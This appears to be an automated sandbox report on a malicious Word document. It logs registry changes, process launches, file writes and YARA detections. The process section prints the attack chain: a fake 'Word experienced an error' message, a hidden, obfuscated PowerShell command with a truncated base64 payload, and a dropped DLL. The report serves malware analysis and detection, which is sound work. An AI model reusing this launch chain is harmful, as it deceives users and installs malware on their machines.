6C 02 12 02 FF 03 01 00 21 00 72 01 
E8 00 12 02 04 00 00 00 EE 00 72 01 
A9 01 12 02 03 00 00 00 AF 01 72 01 
6C 02 12 02 02 00 00 00 F8 02 81 00 
AC 03 01 01 05 00 00 00 59 00 30 02 
0D 01 4B 03 01 00 00 00 3A 03 BC 00 
79 03 1F 02 06 00 00 00 16 00 16 00 
D9 01 C4 00 04 00 01 00 2C 00 2C 00 
EB 01 E3 00 03 00 01 00 42 00 42 00 
3B 02 F7 00 02 00 01 00 00 00 00 00 
00 00 00 00 08 00 00 00 58 00 57 00 
37 01 FF 01 01 00 01 00 00 00 00 00 
00 00 00 00 06 00 01 00 6E 00 6E 00 
7F 01 52 01 05 00 01 00 00 00 00 00 
00 00 00 00 00 00 01 00 

success or wait 1 65D54713 RegSetValueExA

Key Path Name Type Data Completion Count
Source
Address Symbol
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HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.1\Common

FolderView unicode 1 success or wait 1 65DA98E7 RegSetValueExA

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.1\Common

Tool binary 00 00 00 00 07 00 00 00 47 65 6E 65 
72 61 6C 00 FF FF FF FF FF FF FF FF 

success or wait 1 65DA9A07 RegSetValueExA

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.1\Common

CtlsShowSelected unicode 0 success or wait 1 65DA98E7 RegSetValueExA

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.1\Common

DsnShowSelected unicode 0 success or wait 1 65DA98E7 RegSetValueExA

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.1\Common\Toolbars\Settings

Microsoft Visual 
Basic

binary 01 01 00 00 00 00 00 00 00 00 01 00 
00 00 

success or wait 1 65D54E8B unknown

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.1\Common

UI binary 69 00 00 00 01 01 00 00 00 00 00 00 
06 00 01 00 00 00 02 01 0B 00 00 80 
00 00 08 01 00 01 00 00 14 00 08 4D 
00 65 00 6E 00 75 00 20 00 42 00 61 
00 72 00 01 01 01 00 00 00 FF FF 00 
00 FD FF 32 00 32 00 58 02 5A 00 00 
00 00 00 03 01 00 0A 32 75 00 00 08 
00 03 01 00 00 00 00 01 80 00 00 03 
01 00 0A 33 75 00 00 08 00 03 02 00 
00 00 00 02 80 00 00 03 01 00 0A 34 
75 00 00 08 00 03 03 00 00 00 00 03 
80 00 00 03 01 00 0A 35 75 00 00 08 
00 03 04 00 00 00 00 04 80 00 00 03 
01 00 0A 36 75 00 00 08 00 03 05 00 
00 00 00 05 80 00 00 03 01 00 0A D5 
75 00 00 08 00 03 06 00 00 00 00 06 
80 00 00 03 01 00 0A 3C 75 00 00 08 
00 03 07 00 00 00 00 07 80 00 00 03 
01 00 0A 37 75 00 00 08 00 03 08 00 
00 00 00 08 80 00 00 03 01 00 0A 56 
75 00 00 08 00 03 09 00 00 00 00 09 
80 00 00 03 01 00 0A 39 75 00 00 08 
00 03 0A 00 00 00 00 0A 80 00 00 03 
01 00 0A 3A 75 00 00 08 00 03 0B 00 
00 00 00 30 00 00 00 02 01 FF FF 2F 
80 00 00 00 00 00 00 00 00 10 00 08 
53 00 74 00 61 00 6E 00 64 00 61 00 
72 00 64 00 01 01 01 01 00 00 FF FF 
00 00 FD FF 32 00 6E 00 58 02 96 00 
2F 00 00 00 02 01 FF FF 30 80 00 00 
00 00 00 00 00 00 10 00 04 45 00 64 
00 69 00 74 00 04 00 01 02 00 00 FF 
FF 00 00 FD FF 32 00 AA 00 58 02 D2 
00 30 00 00 00 02 01 FF FF 31 80 00 
00 00 00 00 00 00 00 10 00 05 44 00 
65 00 62 00 75 00 67 00 04 00 01 03 
00 00 FF FF 00 00 FD FF 32 00 E6 00 
58 02 0E 01 31 00 00 00 02 01 FF FF 
32 80 00 00 00 00 00 00 00 00 10 00 
08 55 00 73 00 65 00 72 00 46 00 6F 
00 72 00 6D 00 04 00 01 04 00 00 FF 
FF 00 00 FD FF 32 00 22 01 58 02 4A 
01 32 00 00 00 02 01 FF FF DB 00 00 
00 97 01 00 02 00 00 10 00 00 04 00 
01 01 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 42 00 00 00 

success or wait 1 65D54EF9 RegSetValueExA

Key Path Name Type Data Completion Count
Source
Address Symbol

Key Path Name Type Old Data New Data Completion Count
Source
Address Symbol

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\000061091100000000000
00000F01FEC\Usage

ProductFiles dword 1379991559 1379991560 success or wait 1 65CE5805 unknown

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\000061091100000000000
00000F01FEC\Usage

ProductFiles dword 1379991560 1379991561 success or wait 1 65CE5805 unknown

HKEY_LOCAL_MACHINE\SOFT
WARE\WO
W6432Node\Microsoft\Office\16.
0\Word\Text Converters\Import

Name unicode Recover Text from Any File WordPerfect 5.x success or wait 1 65CE5805 unknown

HKEY_LOCAL_MACHINE\SOFT
WARE\WO
W6432Node\Microsoft\Office\16.
0\Word\Text Converters\Import

Path unicode C:\Program Files (x86)\Common 
Files\Microsoft Shared\TextCon
v\RECOVR32.CNV

C:\Program Files (x86)\Common 
Files\Microsoft Shared\TextCon
v\WPFT532.CNV

success or wait 1 65CE5805 unknown

Key Value ModifiedKey Value Modified
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HKEY_LOCAL_MACHINE\SOFT
WARE\WO
W6432Node\Microsoft\Office\16.
0\Word\Text Converters\Import

Extensions unicode * doc success or wait 1 65CE5805 unknown

HKEY_LOCAL_MACHINE\SOFT
WARE\WO
W6432Node\Microsoft\Office\16.
0\Word\Text Converters\Import

Name unicode WordPerfect 5.x WordPerfect 6.x - 7.0 success or wait 1 65CE5805 unknown

HKEY_LOCAL_MACHINE\SOFT
WARE\WO
W6432Node\Microsoft\Office\16.
0\Word\Text Converters\Import

Path unicode C:\Program Files (x86)\Common 
Files\Microsoft Shared\TextCon
v\WPFT532.CNV

C:\Program Files (x86)\Common 
Files\Microsoft Shared\TextCon
v\WPFT632.CNV

success or wait 1 65CE5805 unknown

HKEY_LOCAL_MACHINE\SOFT
WARE\WO
W6432Node\Microsoft\Office\16.
0\Word\Text Converters\Import

Extensions unicode doc wpd doc success or wait 1 65CE5805 unknown

HKEY_CURRENT_USER\Softwar
e\Mic
rosoft\Office\16.0\Word\Resili
ency\DocumentRecovery\53ABF

53ABF binary 04 00 00 00 54 10 00 00 2A 00 
00 00 43 00 3A 00 5C 00 55 00 
73 00 65 00 72 00 73 00 5C 00 
6A 00 6F 00 6E 00 65 00 73 00 
5C 00 41 00 70 00 70 00 44 00 
61 00 74 00 61 00 5C 00 4C 00 
6F 00 63 00 61 00 6C 00 5C 00 
54 00 65 00 6D 00 70 00 5C 00 
69 00 6D 00 67 00 73 00 2E 00 
68 00 74 00 6D 00 04 00 00 00 
69 00 6D 00 67 00 73 00 00 00 
00 00 01 00 00 00 00 00 00 00 
40 16 E0 2D E9 F8 D6 01 BF 3A 
05 00 BF 3A 05 00 00 00 00 00 
DB 04 00 00 02 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 FF FF 
FF FF 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 

04 00 00 00 54 10 00 00 2A 00 
00 00 43 00 3A 00 5C 00 55 00 
73 00 65 00 72 00 73 00 5C 00 
6A 00 6F 00 6E 00 65 00 73 00 
5C 00 41 00 70 00 70 00 44 00 
61 00 74 00 61 00 5C 00 4C 00 
6F 00 63 00 61 00 6C 00 5C 00 
54 00 65 00 6D 00 70 00 5C 00 
69 00 6D 00 67 00 73 00 2E 00 
68 00 74 00 6D 00 04 00 00 00 
69 00 6D 00 67 00 73 00 00 00 
00 00 01 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 BF 3A 
05 00 BF 3A 05 00 00 00 00 00 
DB 04 00 00 02 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 FF FF 
FF FF 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 

success or wait 1 65CE5805 unknown

Key Path Name Type Old Data New Data Completion Count
Source
Address Symbol
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00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 FF FF FF FF 00 00 00 
00 00 00 00 00 

00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 FF FF FF FF 00 00 00 
00 00 00 00 00 

Key Path Name Type Old Data New Data Completion Count
Source
Address Symbol

Start time: 23:25:08

Start date: 01/02/2021

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit): false

Commandline: cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. 
&  POwersheLL -w hidden -ENCOD                 IAAkAEMAcgBBACAAPQAgAFsAV
AB5AFAARQBdACgAIgB7ADMAfQB7ADEAfQB7ADAAfQB7ADIAfQAiACAALQBGA
CAAJwBlAG0ALgBJAE8ALgAnACwAJwBTAHQAJwAsACcAZABpAHIAZQBDAHQAT
wByAHkAJwAsACcAcwBZACcAKQAgADsAIABTAFYAIAAgACgAIgA1AGgAdgAiA
CsAIgAxAHoAIgApACAAIAAoAFsAVAB5AFAARQBdACgAIgB7ADEAfQB7ADIAf

Analysis Process: cmd.exe PID: 5632 Parent PID: 5060Analysis Process: cmd.exe PID: 5632 Parent PID: 5060

General
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File ActivitiesFile Activities
 

Imagebase: 0x7ff622070000

File size: 273920 bytes

MD5 hash: 4E2ACF4F8A396486AB4268C94A6A245F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

Start time: 23:25:09

Start date: 01/02/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff724c50000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Start time: 23:25:09

Start date: 01/02/2021

Analysis Process: conhost.exe PID: 5620 Parent PID: 5632Analysis Process: conhost.exe PID: 5620 Parent PID: 5632

General

Analysis Process: msg.exe PID: 6068 Parent PID: 5632Analysis Process: msg.exe PID: 6068 Parent PID: 5632

General
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File ActivitiesFile Activities

Path: C:\Windows\System32\msg.exe

Wow64 process (32bit): false

Commandline: msg  user /v Word experienced an error trying to open the file. 

Imagebase: 0x7ff79a800000

File size: 26112 bytes

MD5 hash: EEB395D8DD3C1D6593903BD640687948

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File Path Access Attributes Options Completion Count
Source
Address Symbol

Start time: 23:25:10

Start date: 01/02/2021

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): false

Commandline: POwersheLL  -w hidden -ENCOD                 IAAkAEMAcgBBACAAPQAgAFsAVAnalysis Process: powershell.exe PID: 1320 Parent PID: 5632Analysis Process: powershell.exe PID: 1320 Parent PID: 5632

General
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Imagebase: 0x7ff7bedd0000

File size: 447488 bytes

MD5 hash: 95000560239032BC68B4C2FDFCDEF913

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET
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File ActivitiesFile Activities

Yara matches: Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, 
Source: 
00000004.00000002.689082292.00000271130C0000.00000004.00000001.sdmp, Author: 
Florian Roth
Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, 
Source: 
00000004.00000003.685190093.000002712B8A4000.00000004.00000001.sdmp, Author: 
Florian Roth
Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, 
Source: 
00000004.00000002.700514213.000002712B630000.00000004.00000001.sdmp, Author: 
Florian Roth
Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, 
Source: 
00000004.00000002.698145971.0000027114D5D000.00000004.00000001.sdmp, Author: 
Florian Roth
Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, 
Source: 00000004.00000002.697286565.0000027114829000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, 
Source: 00000004.00000002.689101356.00000271130F0000.00000004.00000040.sdmp, 
Author: Florian Roth
Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, 
Source: 
00000004.00000002.700460639.000002712B620000.00000004.00000001.sdmp, Author: 
Florian Roth

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA9420F1E9 unknown

C:\Users\user\AppData\Roaming read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA9420F1E9 unknown

C:\Windows\system32\catroot read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA903503FC unknown

C:\Windows\system32\catroot2 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA903503FC unknown

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_zyrecgys.4kk.ps1

read attributes | 
synchronize | 
generic write

device sequential only | 
synchronous io 
non alert | non 
directory file | 
open no recall

success or wait 1 7FFA93036FDD CreateFileW

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_gbmhr0zq.ixu.psm1

read attributes | 
synchronize | 
generic write

device sequential only | 
synchronous io 
non alert | non 
directory file | 
open no recall

success or wait 1 7FFA93036FDD CreateFileW

C:\Users\user\Documents\20210201 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 7FFA9303F35D CreateDirectoryW

C:\Users\user\Documents\20210201\PowerShell_transcr
ipt.724536.D_cV0UCD.20210201232511.txt

read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
open no recall

success or wait 1 7FFA93036FDD CreateFileW

File CreatedFile Created
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C:\Windows\system32\catroot read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 2 7FFA903503FC unknown

C:\Windows\system32\catroot2 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 2 7FFA903503FC unknown

C:\Windows\system32\catroot read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA903503FC unknown

C:\Windows\system32\catroot2 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA903503FC unknown

C:\Windows\system32\catroot read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA903503FC unknown

C:\Windows\system32\catroot2 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA903503FC unknown

C:\Windows\system32\catroot read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA903503FC unknown

C:\Windows\system32\catroot2 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA903503FC unknown

C:\Users\user\F2nefq6 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 7FFA9303F35D CreateDirectoryW

C:\Users\user\F2nefq6\Prs2ndh read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 7FFA9303F35D CreateDirectoryW

C:\Users\user\F2nefq6\Prs2ndh\Chpieog.dll read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file | 
open no recall

success or wait 1 7FFA93036FDD CreateFileW

C:\Windows\system32\catroot read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA903503FC unknown

C:\Windows\system32\catroot2 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA903503FC unknown

File Path Access Attributes Options Completion Count
Source
Address Symbol

File DeletedFile Deleted
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File Path Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_zyrecgys.4kk.ps1 success or wait 1 7FFA9303F270 DeleteFileW

C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_gbmhr0zq.ixu.psm1 success or wait 1 7FFA9303F270 DeleteFileW

C:\Users\user\F2nefq6\Prs2ndh\Chpieog.dll success or wait 1 7FFA9303F270 DeleteFileW

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_zyrecgys.4kk.ps1

unknown 1 31 1 success or wait 1 7FFA9303B526 WriteFile

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_gbmhr0zq.ixu.psm1

unknown 1 31 1 success or wait 1 7FFA9303B526 WriteFile

C:\Users\user\Documents\20210201\PowerShell_transcr
ipt.724536.D_cV0UCD.20210201232511.txt

unknown 3 ef bb bf ... success or wait 1 7FFA9303B526 WriteFile

C:\Users\user\Documents\20210201\PowerShell_transcr
ipt.724536.D_cV0UCD.20210201232511.txt

unknown 4096 2a 2a 2a 2a 2a 2a 2a 
2a 2a 2a 2a 2a 2a 2a 
2a 2a 2a 2a 2a 2a 2a 
2a 0d 0a 57 69 6e 64 
6f 77 73 20 50 6f 77 
65 72 53 68 65 6c 6c 
20 74 72 61 6e 73 63 
72 69 70 74 20 73 74 
61 72 74 0d 0a 53 74 
61 72 74 20 74 69 6d 
65 3a 20 32 30 32 31 
30 32 30 31 32 33 32 
35 31 31 0d 0a 55 73 
65 72 6e 61 6d 65 3a 
20 44 45 53 4b 54 4f 
50 2d 37 31 36 54 37 
37 31 5c 6a 6f 6e 65 
73 0d 0a 52 75 6e 41 
73 20 55 73 65 72 3a 
20 44 45 53 4b 54 4f 
50 2d 37 31 36 54 37 
37 31 5c 6a 6f 6e 65 
73 0d 0a 43 6f 6e 66 
69 67 75 72 61 74 69 
6f 6e 20 4e 61 6d 65 
3a 20 0d 0a 4d 61 63 
68 69 6e 65 3a 20 37 
32 34 35 33 36 20 28 
4d 69 63 72 6f 73 6f 
66 74 20 57 69 6e 64 
6f 77 73 20 4e 54 20 
31 30 2e 30 2e 31 37 
31 33 34 2e 30 29 0d 
0a 48 6f 73 74 20 41 
70 70 6c 69 63 61 74 
69 6f 6e 3a 20 50 4f 
77 65 72 

**********************..Windo
ws PowerShell transcript 
start..Start time: 
20210201232511..Userna
me: computer\user..RunAs 
User: 
computer\user..Configurati
on Name: ..Machine: 
724536 (Microsoft 
Windows NT 
10.0.17134.0)..Host 
Application: POwer

success or wait 1 7FFA9303B526 WriteFile

File WrittenFile Written
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C:\Users\user\Documents\20210201\PowerShell_transcr
ipt.724536.D_cV0UCD.20210201232511.txt

unknown 4096 41 72 41 43 63 41 63 
41 41 6e 41 43 73 41 
4a 77 41 36 41 43 63 
41 4b 77 41 6f 41 43 
67 41 4a 77 42 4b 41 
43 6b 41 4a 77 41 70 
41 43 6b 41 4b 77 41 
6e 41 43 67 41 4a 77 
41 72 41 43 63 41 4d 
77 41 6e 41 43 73 41 
4b 41 41 6f 41 43 63 
41 63 77 41 79 41 43 
